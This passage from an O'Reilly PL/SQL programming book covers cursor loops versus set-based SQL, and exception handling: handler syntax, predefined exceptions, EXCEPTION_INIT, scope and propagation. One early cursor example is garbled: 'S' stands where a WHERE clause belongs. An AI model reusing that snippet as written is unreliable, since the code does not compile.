When should you use standard SQL to accomplish your task and when should you rely on PL/SQL loops? Sometimes the choice is clear: if you do not need to interact with the database, then there is clearly no need for SQL. In addition, SQL can't always provide the necessary flexibility to get the job done. Conversely, if you are performing a single record insert into a table then there is no need for a loop. Often, however, the choice is less obvious. For example, a SELECT statement queries one or more rows from the database. A cursor FOR loop also queries rows from the database based on a SELECT statement. In fact, PL/SQL and native SQL often can both accomplish the task at hand. Given that fact, you will need to choose your implementation according to more subtle issues like performance and maintainability of code.

Before we look at some examples of scenarios which call for one or the other approach, let's review the difference between the implicit looping of the SQL set-at-a-time approach and the PL/SQL loop.

SQL statements such as SELECT, UPDATE, INSERT, and DELETE work on a set of data. That set (actually, a collection of rows from a table or tables) is determined by the WHERE clause (or lack thereof) in the SQL statement. SQL derives much of its power and effectiveness as a database language from this set-at-a-time processing approach. There is, however, a drawback, as I mentioned earlier: SQL often does not give you the flexibility you might need to handle individual records and specialized logic which must be applied differently to different records.

The PL/SQL cursor offers the ability to access a record at a time and to take action based on the contents of that specific record. It is not always clear, however, which language component would best fit the needs of the moment. I have seen a number of programs where developers went overboard in their drive to PL/SQL-ize the SQL access to their data. This happens most frequently when using a cursor FOR loop.

The PL/SQL block in the code below moves checked-out pets from the pet hotel occupancy table to the pets_history table using a cursor FOR loop. For each record fetched (implicitly) from the cursor (representing a pet who has hit the road), the body of the loop first inserts a record into the pet_history table and then deletes the record from the occupancy table:

DECLARE
   CURSOR checked_out_cur IS
      SELECT pet_id, name, checkout_date
        FROM occupancy
       S checkout_date IS NOT NULL;
BEGIN
   FOR checked_out_rec IN checked_out_cur
   LOOP
      INSERT INTO occupancy_history (pet_id, name, checkout_date)
         VALUES (checked_out_rec.pet_id, checked_out_rec.name,
                 checked_out_rec.checkout_date);
      DELETE FROM occupancy WHERE pet_id = checked_out_rec.pet_id;
   END LOOP;
END;

This will work just fine. But do we really need to use a cursor FOR loop to accomplish this task? Suppose 20 animals checked out today. This block of code will then perform 20 distinct inserts and 20 distinct deletes. The same code can be written completely within the SQL language as shown below:

INSERT INTO occupancy_history (pet_id, name, checkout_date)
SELECT pet_id, name, checkout_date
  FROM occupancy
 WHERE checkout_date IS NOT NULL;
DELETE FROM occupancy WHERE checkout_date IS NOT NULL;

Here, a single insert (making use of the INSERT...SELECT syntax) and a single delete (which now checks for the checkout_date and not the employee_id) accomplish the transfer of the data to the history table. This reliance on native SQL, without the help of PL/SQL, allows you to take full advantage of array processing. It significantly reduces network traffic in a client-server environment because only two SQL statements (instead of 40) are passed to the RDBMS.

The cursor FOR loop was not really needed here; the body of the loop did not perform any procedural logic which could not be handled by SQL itself. If, on the other hand, the program needed to selectively reject records for the transfer, or otherwise perform procedural logic not possible within SQL, then either the cursor FOR loop or a WHILE loop would make sense.

Previous: 7.6 Managing Loop Execution | Oracle PL/SQL Programming, 2nd Edition | Next: 8. Exception Handlers
7.6 Managing Loop Execution | Book Index | 8. Exception Handlers
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] Exception Handlers

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 7.7 Tips for PL/SQL Loops Chapter 8 Next: 8.2 The Exception Section

8. Exception Handlers

Contents:
Why Exception Handling?
The Exception Section
Types of Exceptions
Determining Exception-Handling Behavior
Raising an Exception
Handling Exceptions
Client-Server Error Communication
NO_DATA_FOUND: Multipurpose Exception
Exception Handler as IF Statement
RAISE Nothing but Exceptions

In the PL/SQL language, errors of any kind are treated as exceptions -- situations that should not occur -- in your program. An exception can be one of the following:

  • An error generated by the system (such as "out of memory" or "duplicate value in index")

  • An error caused by a user action

  • A warning issued by the application to the user

PL/SQL traps and responds to errors using an architecture of exception handlers. The exception-handler mechanism allows you to cleanly separate your error processing code from your executable statements. It also provides an event-driven model, as opposed to a linear code model, for processing errors. In other words, no matter how a particular exception is raised, it is handled by the same exception handler in the exception section.

When an error occurs in PL/SQL, whether a system error or an application error, an exception is raised. The processing in the current PL/SQL block's execution section halts and control is transferred to the separate exception section of your program, if one exists, to handle the exception. You cannot return to that block after you finish handling the exception. Instead, control is passed to the enclosing block, if any.

Figure 8.1 illustrates how control is transferred to the exception section when an exception is raised.

Figure 8.1: Exception handling architecture

8.1 Why Exception Handling?

It is a sad fact of life that most programmers never take the time to properly bullet-proof their programs. Instead, wishful thinking often reigns. Most of us find it hard enough -- and more than enough work -- to simply write the code that implements the positive aspects of an application: maintaining customers, generating invoices, etc. It is devilishly difficult from both a psychological standpoint and a resources perspective to focus on the negative side of our life: what happens when the user presses the wrong key? If the database is unavailable, what should I do?

As a result, we write applications that often assume the best of all possible worlds, hoping that our programs are bug-free, that users will enter only the correct data in only the correct fashion, and that all systems (hardware and software) will always be a "go."

Of course, harsh reality dictates that no matter how hard you try, there will always be one more bug in your application. And your users will always find just the right sequence of keystrokes it takes to make a screen implode. The situation is clear: either you spend the time up front to properly debug and bulletproof your programs, or you will fight an unending series of rear-guard battles, taking frantic calls from your users and putting out the fires.

You know what you should do. Fortunately, PL/SQL offers a powerful and flexible way to trap and handle errors in your programs. It is entirely feasible within the PL/SQL language to build an application which fully protects the user and the database from errors.

The exception handler model offers the following advantages:

  • Event-driven handling of errors. As we've mentioned, PL/SQL exception handling follows an event-driven rather than a linear code model. No matter how a particular exception is raised, it is handled by the same exception handler in the exception section. You do not have to check repeatedly for a condition in your code, but instead can insert an exception for that condition once in the exception section and be certain that it will be handled throughout that block (and all of its enclosing blocks).

  • Clean separation of error-processing code. With the exception-handling model, whenever an exception is raised, program control transfers completely out of the normal execution sequence and into the exception section. Instead of placing error-handling logic throughout different sections of your program, you can consolidate all of this logic into a single, separate section. Furthermore, if you need to add new exceptions in your program (perhaps you overlooked a possible problem, or a new kind of system error has been identified), you do not have to figure out where in your executable code to put the error-handling logic. Simply add another exception handler at the bottom of the block.

  • Improved reliability of error handling. It is quite difficult for errors to go undetected with the PL/SQL error-handling model. If there is a handler, then that exception will be dealt with in the current block or in an enclosing block. Even if there is no explicit handler for that error, normal code execution will still stop. Your program cannot simply "work through" an error -- unless you explicitly organize your code to allow this.

There is no avoiding the fact that if you want to trap errors in your PL/SQL programs you will have to write some additional code. The exception handler architecture, however, minimizes the amount of code you will need to write, and offers the possibility of guarding against all problems that might arise in your application. The following sections look at how you define, raise, and handle exceptions in PL/SQL.

Previous: 7.7 Tips for PL/SQL Loops | Oracle PL/SQL Programming, 2nd Edition | Next: 8.2 The Exception Section
7.7 Tips for PL/SQL Loops | Book Index | 8.2 The Exception Section
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.2 The Exception Section

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.2 The Exception Section

A PL/SQL block (of which procedures, functions, and anonymous blocks are all instances) consists of up to four parts: the header, declaration section, execution section, and exception section, as shown in the following anonymous block:

DECLARE
   ... declarations ...
BEGIN
   ... executable statements ...
[ EXCEPTION
   ... exception handlers ... ]
END;

When an exception is raised within the execution section of a PL/SQL block, control passes to the exception section. PL/SQL then scans through the exception handlers to see if that exception is handled.

The syntax for an exception section follows:

EXCEPTION
   WHEN exception_name [ OR exception_name ... ]
   THEN
      <executable statements>
END;

You can have multiple exception handlers in a single exception section. The exception handlers are structured much like a conditional CASE statement, as shown below:

The Exception Section

An English-like Translation

EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      executable_statements1;

If the NO_DATA_FOUND exception was raised, then execute the first set of statements.

   WHEN payment_overdue
   THEN
      executable_statements2;

If the payment is overdue, then execute the second set of statements.

   WHEN OTHERS
   THEN
      executable_statements3;
END;

If any other exception is encountered, then execute the third set of statements.

An exception is handled if an exception that is named in a WHEN clause matches the exception that was raised. Notice that the WHEN clause traps errors only by exception name, not by error codes. If a match is found, then the executable statements associated with that exception are run. If the exception that has been raised is not handled or does not match any of the named exceptions, the executable statements associated with the WHEN OTHERS clause -- if present -- will be run.

The WHEN OTHERS clause is optional; if it is not present, then any unhandled exception is immediately raised in the enclosing block, if any.

If the exception is not handled by any PL/SQL block, then the error number and message are presented directly to the user of the application. The exception is, in other words, unhandled and it disrupts the execution of the application.

Previous: 8.1 Why Exception Handling? | Oracle PL/SQL Programming, 2nd Edition | Next: 8.3 Types of Exceptions
8.1 Why Exception Handling? | Book Index | 8.3 Types of Exceptions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.3 Types of Exceptions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.3 Types of Exceptions

There are four kinds of exceptions in PL/SQL:

  • Named system exceptions. Exceptions that have been given names by PL/SQL and raised as a result of an error in PL/SQL or RDBMS processing.

  • Named programmer-defined exceptions. Exceptions that are raised as a result of errors in your application code. You give these exceptions names by declaring them in the declaration section. You then raise the exceptions explicitly in the program.

  • Unnamed system exceptions. Exceptions that are raised as a result of an error in PL/SQL or RDBMS processing but have not been given names by PL/SQL. Only the most common errors are so named; the rest have numbers and can be assigned names with the special PRAGMA EXCEPTION_INIT syntax.

  • Unnamed programmer-defined exceptions. Exceptions that are defined and raised in the server by the programmer. In this case, the programmer provides both an error number (between -20000 and -20999) and an error message, and raises that exception with a call to RAISE_APPLICATION_ERROR. That error, along with its message, is propagated back to the client-side application.

The system exceptions (both named and unnamed) are raised by PL/SQL whenever a program violates a rule in the RDBMS (such as "duplicate value in index") or causes a resource limit to be exceeded (such as "maximum open cursors exceeded"). Each of these RDBMS errors has a number associated with it. In addition, PL/SQL predefines names for some of the most commonly encountered errors.

8.3.1 Named System Exceptions

The exceptions which are already given names by PL/SQL are declared in the STANDARD package in PL/SQL. You do not have to declare them in your own programs.[1] Each of the predefined exceptions is listed in Table 8.1 along with its Oracle error number, the value returned by a call to SQLCODE, and a brief description. SQLCODE is a PL/SQL built-in function that returns the status code of the last-executed statement. SQLCODE returns zero if the last statement executed without errors. In most, but not all, cases, the SQLCODE value is the same as the Oracle error code.

[1] If you do so, in fact, you will have declared your own local exception. It will not be raised when the internal error with that name occurs. Avoid declaring an exception with the same name as a predefined exception.

Here is an example of how you might use the exceptions table. Suppose that your program generates an unhandled exception for error ORA-6511. Looking up this error, you find that it is associated with the CURSOR_ALREADY_OPEN exception. Locate the PL/SQL block in which the error occurs and add an exception handler for CURSOR_ALREADY_OPEN, as shown below:

EXCEPTION
   WHEN CURSOR_ALREADY_OPEN
   THEN
      CLOSE my_cursor;
END;

Of course, you would be even better off analyzing your code to determine proactively which of the predefined exceptions might occur. Then you could decide which of those exceptions you want to handle specifically, which should be covered by the WHEN OTHERS clause, and which would best be left unhandled.

Table 8.1: Predefined Exceptions in PL/SQL
Oracle Error/SQLCODE | Description
CURSOR_ALREADY_OPEN ORA-6511 SQLCODE= -6511 | You tried to OPEN a cursor that was already OPEN. You must CLOSE a cursor before you try to OPEN or re-OPEN it.
DUP_VAL_ON_INDEX ORA-00001 SQLCODE= -1 | Your INSERT or UPDATE statement attempted to store duplicate values in a column or columns in a row which is restricted by a unique index.
INVALID_CURSOR ORA-01001 SQLCODE= -1001 | You made reference to a cursor that did not exist. This usually happens when you try to FETCH from a cursor or CLOSE a cursor before that cursor is OPENed.
INVALID_NUMBER ORA-01722 SQLCODE = -1722 | PL/SQL executes a SQL statement that cannot convert a character string successfully to a number. This exception is different from the VALUE_ERROR exception, as it is raised only from within a SQL statement.
LOGIN_DENIED ORA-01017 SQLCODE= -1017 | Your program tried to log onto the Oracle RDBMS with an invalid username-password combination. This exception is usually encountered when you embed PL/SQL in a 3GL language.
NO_DATA_FOUND ORA-01403 SQLCODE= +100 | This exception is raised in three different scenarios: (1) You executed a SELECT INTO statement (implicit cursor) that returned no rows. (2) You referenced an uninitialized row in a local PL/SQL table. (3) You read past end of file with UTL_FILE package.
NOT_LOGGED_ON ORA-01012 SQLCODE= -1012 | Your program tried to execute a call to the database (usually with a DML statement) before it had logged into the Oracle RDBMS.
PROGRAM_ERROR ORA-06501 SQLCODE= -6501 | PL/SQL encounters an internal problem. The message text usually also tells you to "Contact Oracle Support."
STORAGE_ERRORORA-06500 SQLCODE= -6500 | Your program ran out of memory or memory was in some way corrupted.
TIMEOUT_ON_RESOURCEORA-00051 SQLCODE= -51 | A timeout occurred in the RDBMS while waiting for a resource.
TOO_MANY_ROWSORA-01422 SQLCODE= -1422 | A SELECT INTO statement returned more than one row. A SELECT INTO can return only one row; if your SQL statement returns more than one row you should place the SELECT statement in an explicit CURSOR declaration and FETCH from that cursor one row at a time.
TRANSACTION_BACKED_OUTORA-00061 SQLCODE= -61 | The remote part of a transaction is rolled back, either with an explicit ROLLBACK command or as the result of some other action.
VALUE_ERRORORA-06502 SQLCODE= -6502 | PL/SQL raises the VALUE_ERROR whenever it encounters an error having to do with the conversion, truncation, or invalid constraining of numeric and character data. This is a very general and common exception. If this same type of error is encountered in a SQL DML statement within a PL/SQL block, then the INVALID_NUMBER exception is raised.
ZERO_DIVIDEORA-01476 SQLCODE= -1476 | Your program tried to divide by zero.

8.3.2 Named Programmer-Defined Exceptions

The exceptions that PL/SQL has declared in the STANDARD package cover internal or system-generated errors. Many of the problems a user will encounter (or cause) in an application, however, are specific to that application. Your program might need to trap and handle errors such as "negative balance in account" or "call date cannot be in the past." While different in nature from "division by zero," these errors are still exceptions to normal processing and should be handled gracefully by your program.

One of the most useful aspects of the PL/SQL exception handling model is that it does not make any structural distinction between internal errors and application-specific errors. Once an exception is raised, it can and should be handled in the exception section, regardless of the type or source of error.

Of course, to handle an exception, you must have a name for that exception. Because PL/SQL cannot name these exceptions for you (they are specific to your application), you must do so yourself by declaring an exception in the declaration section of your PL/SQL block. You declare an exception by listing the name of the exception you want to raise in your program, followed by the keyword EXCEPTION, as follows:

exception_name EXCEPTION;

The following declaration section of the calc_annual_sales contains three programmer-defined exception declarations:

PROCEDURE calc_annual_sales
   (company_id_in IN company.company_id%TYPE)
IS
   invalid_company_id   EXCEPTION;
   no_sales_for_company EXCEPTION;
   negative_balance     EXCEPTION;

   duplicate_company    BOOLEAN;
BEGIN
   ... body of executable statements ...
EXCEPTION
   WHEN invalid_company_id
   THEN
      ...
   WHEN no_sales_for_company
   THEN
      ...
   WHEN negative_balance
   THEN
      ...
END;

The names for exceptions are similar in format to (and "read" just like) Boolean variable names, but can be referenced in only two ways:

  • In a RAISE statement in the execution section of the program (to raise the exception), as in:

    RAISE no_sales_for_company;

  • In the WHEN clauses of the exception section (to handle the raised exception), as in:

    WHEN no_sales_for_company THEN

8.3.3 Unnamed System Exceptions

What do you do when you want to trap an internal error raised by PL/SQL or the SQL engine, but it is not one of the lucky errors that have been given a predefined name? Although this error is identified only by its internal error number, exception handlers need a name by which they can check for a match. Sure, you can always use the WHEN OTHERS clause to simply catch any exceptions not previously handled. (This is covered in detail in Section 8.6.3, "Using SQLCODE and SQLERRM in WHEN OTHERS Clause".) In many cases, however, you will want to trap specific errors in a way that clearly documents and highlights them in your code. To do this, you assign your own name to the Oracle or PL/SQL error that might be raised in your program, and then write a specific exception handler for that custom-named exception.

8.3.3.1 The EXCEPTION_INIT pragma

You can use a compiler construct called a pragma to associate a name with an internal error code. A pragma (introduced in Chapter 2, PL/SQL Language Fundamentals) is a special instruction to the compiler that is processed at compile time instead of at runtime. A pragma called EXCEPTION_INIT instructs the compiler to associate or initialize a programmer-defined exception with a specific Oracle error number. With a name for that error, you can then raise this exception and write a handler which will trap that error. While in most cases you will leave it to Oracle to raise these system exceptions, you could also raise them yourself.

The pragma EXCEPTION_INIT must appear in the declaration section of a block, after the declaration of the exception name used in the pragma, as shown below:

DECLARE
   exception_name EXCEPTION;
   PRAGMA EXCEPTION_INIT (exception_name, error_code_literal);
BEGIN

where exception_name is the name of an exception and error_code_literal is the number of the Oracle error (including the minus sign, if the error code is negative, as is almost always the case).

In the following program code, I declare and associate an exception for this error:

ORA-2292 violated integrity constraining (OWNER.CONSTRAINT) -
         child record found.

This error occurs if I try to delete a parent record while there are child records still in that table. A child record is a record with a foreign key reference to the parent table:

PROCEDURE delete_company (company_id_in IN NUMBER)
IS
   /* Declare the exception. */
   still_have_employees EXCEPTION;

   /* Associate the exception name with an error number. */
   PRAGMA EXCEPTION_INIT (still_have_employees, -2292);
BEGIN
   /* Try to delete the company. */
   DELETE FROM company
    WHERE company_id = company_id_in;
EXCEPTION
   /* If child records were found, this exception is raised! */
   WHEN still_have_employees
   THEN
      DBMS_OUTPUT.PUT_LINE
         (' Please delete employees for company first.');
END;

When you use EXCEPTION_INIT, you must supply a literal number for the second argument of the pragma call. By explicitly naming this system exception, the purpose of the exception handler is self-evident.

The EXCEPTION_INIT pragma improves the readability of your programs by assigning names to otherwise obscure error numbers. You can employ the EXCEPTION_INIT pragma more than once in your program. You can even assign more than one exception name to the same error number.

8.3.4 Unnamed Programmer-Defined Exceptions

The final type of exception is the unnamed, yet programmer-defined exception. This kind of exception occurs when you need to raise an application-specific error from within the server and communicate this error back to the client application process. This scenario is more common than you might at first imagine. For example, even when you run all your Oracle software in a single hardware environment (such as a character-based SQL*Forms applications running on UNIX against an Oracle server on the same UNIX platform), you still have a separation between your client (SQL*Forms screen) and your server (the RDBMS).

You will trap some, perhaps most, application-specific errors on the client side. On the other hand, the Oracle7 architecture allows you to embed many of your business rules directly into your database structure, using database triggers, constraints, and stored procedures. In many cases, you will want to let the RDBMS trap and reject invalid database actions. To do this, you need a way to identify application-specific errors and return information about those error back to the client. This kind of error communication is illustrated in Figure 8.2.

Figure 8.2: Error communication from server to client

I have called this type of exception "unnamed" and "programmer-defined." The programmer-defined aspect should be clear: because the error is application-specific, you cannot expect PL/SQL to have already defined it for you. The reason this type of exception is also unnamed is that you cannot name or declare an exception within a server-based program or database trigger and have the client-side tool handle that named exception. This identifier simply doesn't cross the great divide between client and server.

To get around this problem, Oracle provides a special procedure to allow communication of an unnamed, yet programmer-defined, server-side exception: RAISE_APPLICATION_ERROR. (The use of this procedure and exception type is discussed in Section 8.7, "Client-Server Error Communication" later in this chapter.) The specification for this procedure is as follows:

PROCEDURE RAISE_APPLICATION_ERROR
   (error_number_in IN NUMBER, error_msg_in IN VARCHAR2);

where error_number_in is the error number you have assigned to this error. The error_msg_in argument is the message that will be sent back with the error code to the client program.

Previous: 8.2 The Exception Section | Oracle PL/SQL Programming, 2nd Edition | Next: 8.4 Determining Exception-Handling Behavior
8.2 The Exception Section | Book Index | 8.4 Determining Exception-Handling Behavior
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.4 Determining Exception-Handling Behavior

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.4 Determining Exception-Handling Behavior

A PL/SQL program is an anonymous block, a procedure, or a function. This program, or "highest-level" block, can call other procedures or functions, or nest an anonymous block within that block. So at any given point in execution, there might be several layers of PL/SQL blocks nested within other blocks. Each PL/SQL block can have its own exception section, or it can be totally void of exception handlers.

To determine the appropriate exception-handling behavior, PL/SQL follows rules regarding:

Scope

The PL/SQL block or blocks in which an exception can be raised and handled.

Propagation

The way in which an exception is passed back through enclosing blocks until it is handled or is resolved to be an unhandled exception

Let's look at these two properties of exceptions.

8.4.1 Scope of an Exception

The scope of an exception is that portion of the code which is "covered" by that exception. An exception covers a block of code if it can be raised in that block. The following table shows the scope for each of the different kinds of exceptions:

Exception Type | Description of Scope
Named system exceptions | These exceptions are globally available because they are not declared in or confined to any particular block of code. You can raise and handle a named system exception in any block.
Named programmer-defined exceptions | These exceptions can only be raised and handled in the execution and exception sections of the block in which they are declared (and all nested blocks).
Unnamed system exceptions | These exceptions can be handled in any PL/SQL exception section via the WHEN OTHERS section. If they are assigned a name, then the scope of that name is the same as that of the named programmer-defined exception.
Unnamed programmer-defined exceptions | This exception is only defined in the call to RAISE_APPLICATION_ERROR and then is passed back to the calling program.

8.4.1.1 Scope of programmer-defined exception

Consider the following example of the exception overdue_balance declared in procedure check_account. The scope of that exception is the check_account procedure, and nothing else:

PROCEDURE check_account (company_id_in IN NUMBER)
IS
   overdue_balance EXCEPTION;
BEGIN
   ... executable statements ...
   LOOP
      ...
      IF ... THEN
         RAISE overdue_balance;
      END IF;
   END LOOP;
EXCEPTION
   WHEN overdue_balance THEN ...
END;

I can RAISE the overdue_balance inside the check_account procedure, but I cannot raise that exception from a program that calls check_account. The following anonymous block will generate the associated compile error:

DECLARE
   company_id NUMBER := 100;
BEGIN
   check_account (100);
EXCEPTION
   WHEN overdue_balance /* PL/SQL cannot resolve this reference. */
   THEN ...
END;

PLS-00201: identifier "OVERDUE_BALANCE" must be declared

The check_account procedure is a "black box" as far as the anonymous block is concerned. Any identifiers -- including exceptions -- which are declared inside check_account are invisible outside of that program.

8.4.1.2 Raising exceptions in nested blocks

When you declare an exception in a block, it is local to that block, but global to all the blocks which are enclosed by that block (nested blocks). In the version of check_account shown in the following example, the procedure contains an anonymous subblock which also raises the overdue_balance. Because the subblock is enclosed by the procedure block, PL/SQL can resolve the reference to that exception:

PROCEDURE check_account (company_id_in IN NUMBER)
IS
   overdue_balance EXCEPTION;
BEGIN
   ... executable statements ...

   -- Start of sub-block inside check_account
   BEGIN
      ... statements within sub-block ...
      RAISE overdue_balance;  -- Exception raised in sub-block.
   END;
   -- End of sub-block inside check_account

   LOOP
      ...
      IF ... THEN
         RAISE overdue_balance; -- Exception raised in main block.
      END IF;
   END LOOP;

EXCEPTION
   WHEN overdue_balance THEN ... -- Exception handled in main block.
END;

When the overdue_balance exception is raised in either the subblock or the main block, control is transferred immediately to the main block -- the only exception section in the entire procedure. Because overdue_balance was declared for the whole procedure, the name is known throughout all subblocks.

8.4.1.3 Overlapping exception names

You never have to declare a named system exception because they have all been declared in the STANDARD package, which is instantiated as soon as you run any PL/SQL code. You can, on the other hand, declare your own exceptions with the same name as a previously defined system exception, as shown below:

DECLARE
   no_data_found EXCEPTION;
BEGIN

This locally declared exception will take precedence over the system exception. As a result, the following exception handler will not trap an error caused by an implicit query that returns no rows:

EXCEPTION
   WHEN no_data_found -- This is MY exception, not PL/SQL's.
   THEN
      ...
END;

8.4.1.4 Qualifying exception names

If I really want to name a local exception the same as a predefined exception and handle the latter in that same PL/SQL block, I need to use the dot notation on the predefined exception. This notation distinguishes between the two and allows PL/SQL to find the handler for the predefined exception. I can then handle those two different exceptions separately, or I can combine them in a single expression:

EXCEPTION
   WHEN no_data_found
   THEN
      DBMS_OUTPUT.PUT_LINE ('My own local exception');

   WHEN STANDARD.NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE ('The predefined exception');
END;

or:

EXCEPTION
   WHEN no_data_found OR STANDARD.NO_DATA_FOUND
   THEN
      DBMS_OUTPUT.PUT_LINE ('Could not find the data');
END;

Of course, the best solution is to never declare exceptions with the same name as a named system exception.

8.4.1.5 Referencing duplicate exceptions in nested blocks

You cannot declare the same exception more than once in a single block, but you can declare an exception in a nested block with the same name as that of an enclosing block. When you do this, the declaration local to that nested block takes precedence over the global exception. When you raise that exception, you are raising the local exception, which is a completely different exception from the outer exception, even though they share the same name.

In the following version of check_account, my nested block contains its own declaration of the overdue_balance exception:

1  PROCEDURE check_account (company_id_in IN NUMBER)
2  IS
3     /* Main block exception declaration */
4     overdue_balance EXCEPTION;
5  BEGIN
6     ... executable statements ...
7
8     /* Start of sub-block inside check_account */
9     DECLARE
10       /* Sub-block exception declaration */
11       overdue_balance EXCEPTION;
12    BEGIN
13       ... statements within sub-block ...
14
15       /* Exception raised in sub-block. */
16       RAISE overdue_balance;
17    END;
18    /* End of sub-block inside check_account */
19
20    LOOP
21       ...
22       IF ... THEN
23          /* Exception raised in main block. */
24          RAISE overdue_balance;
25       END IF;
26    END LOOP;
27
28 EXCEPTION
29    /* Exception handled in main block. */
30    WHEN overdue_balance
31    THEN
32       DBMS_OUTPUT.PUT_LINE ('Balance is overdue. Pay up!');
33 END;

This program will compile without a hitch. Even though the overdue_balance exception is declared twice, each declaration takes place in a different PL/SQL block, hence in a different scope. The procedure-level overdue_balance is declared on line 4. The exception of the same name for the nested block is declared on line 11. Following these declarations, there are two RAISE statements -- one within the nested block on line 16 and one in the main body of the procedure on line 24. Finally, there is just a single exception section and one handler for overdue_balance on line 30.

Well, the overdue_balance exception is certainly declared in every block in which it is raised. Yet the exception-handling behavior of check_account may not be as you would expect. What happens, for example, when the RAISE statement on line 16 executes? Do you see this:

'Balance is overdue. Pay up!'

or this:

ORA-06501: PL/SQL: unhandled user-defined exception
ORA-6512: at "USER.CHECK_ACCOUNT", line N

You will, in fact, have raised an unhandled exception when you RAISE overdue_balance in the nested block. How can this be?

Remember that the nested block does not have its own exception section -- yet it does have its own, locally declared exception. So when the exception is raised on line 16, the nested block cannot handle the exception. Instead, that exception (declared only in that nested block) is passed on to the enclosing block and PL/SQL tries to handle it there.

As soon as control passes to the enclosing block, however, the nested block terminates and all local identifiers are erased. This includes the exception which was just raised. It is no longer defined and therefore cannot be handled in the outer block, even though it seems to have an handler for precisely that exception.

But there is still a glitch: the enclosing block doesn't know anything about the local overdue_balance, only its own rendition. And even though they appear to have the same name, these exceptions are different exceptions as far as the compiler is concerned. As a result, the nested block overdue_balance exception goes unhandled.

How can you get around this problem? First of all, you should avoid such duplication of exception names. This only makes the code very hard to understand and follow. But if you insist on these overlapping names, you can take any of the following steps:

  1. Raise the procedure-level overdue_balance exception within the subblock if the enclosing block has a name (if it is a procedure or a function). You can use dot notation to distinguish the local exception from its global counterpart as follows:

    RAISE check_account.overdue_balance;

  2. Make sure that the locally raised overdue_balance is handled by the main check_account exception section by including a WHEN OTHERS clause to trap any exceptions not otherwise handled.

  3. Remove the local declaration of overdue_balance so this exception is declared only once in the program unit.

8.4.2 Propagation of an Exception

The scope rules for exceptions determine the block in which an exception can be raised. The rules for exception propagation address the way in which an exception is handled, once it has been raised.

When an exception is raised, PL/SQL looks for an exception handler in the current block (anonymous block, procedure, or function) for this exception. If it does not find a match, then PL/SQL propagates the exception to the enclosing block of that current block. PL/SQL then attempts to handle the exception by raising that exception once more in the enclosing block. It continues to do this in each successive enclosing block until there are no more blocks in which to raise the exception (see Figure 8.3). When all blocks are exhausted, PL/SQL returns an unhandled exception to the application environment that executed the outermost PL/SQL block. An unhandled exception halts the execution of the host program.

Figure 8.3: Propagation of exception through nested blocks

One very direct consequence of this propagation method is that if PL/SQL cannot locate an exception handler in the current block for a local, programmer-defined exception, the exception will not be handled at all. The exception is not recognized outside of the current block, so propagating to enclosing blocks will never cause the exception to be handled (unless you use the blanket WHEN OTHERS handler).

Let's look at a few examples of the way exceptions propagate through enclosing blocks.

Figure 8.4 shows the exception raised in the inner block too_many_faults is handled by the next enclosing block.

Figure 8.4: Propagation of exception handling to first nested block

The innermost block has an exception section, so PL/SQL first checks to see if the too_many_faults is handled in this section. Because it was not handled, PL/SQL closes that block and raises the too_many_faults exception in the enclosing block, Nested Block 1. Control immediately passes to the exception section of Nested Block 1. (The executable statements after Nested Block 2 are not executed.) PL/SQL scans the exception handlers and finds that too_many_faults is handled in this block, so the code for that handler is executed, after which control passes back to the main list_my_faults procedure.

Notice that if the NO_DATA_FOUND exception had been raised in the innermost block (Nested Block 2), then the exception section for Nested Block 2 would have handled the exception. Then control would pass back to Nested Block 1 and the executable statements which come after Nested Block 2 would be executed.

In Figure 8.5, the exception raised in the inner block is handled by the outermost block.

Figure 8.5: Exception raised in nested block handled by outermost block

The outermost block is the only one with an exception section, so when Nested Block 2 raises the too_many_faults exception, PL/SQL terminates execution of that block and raises that exception in the enclosing block, Nested Block 1. Again, this block has no exception section so PL/SQL immediately terminates Nested Block 1 and passes control to the outermost block (the list_my_faults procedure). This procedure does have an exception section, so PL/SQL scans the exception handlers, finds a match for too_many_faults, executes the code for that handler, and then returns control to whatever program called list_my_faults.

Previous: 8.3 Types of Exceptions | Oracle PL/SQL Programming, 2nd Edition | Next: 8.5 Raising an Exception
8.3 Types of Exceptions | Book Index | 8.5 Raising an Exception
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 8] 8.5 Raising an Exception

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

8.5 Raising an Exception

There are four ways that you or the PL/SQL runtime engine can raise an exception:

  • The PL/SQL runtime engine raised a named system exception. These exceptions are raised automatically by the program. You cannot control when PL/SQL will raise a system exception. You can, however, write code to handle those exceptions when they are raised.

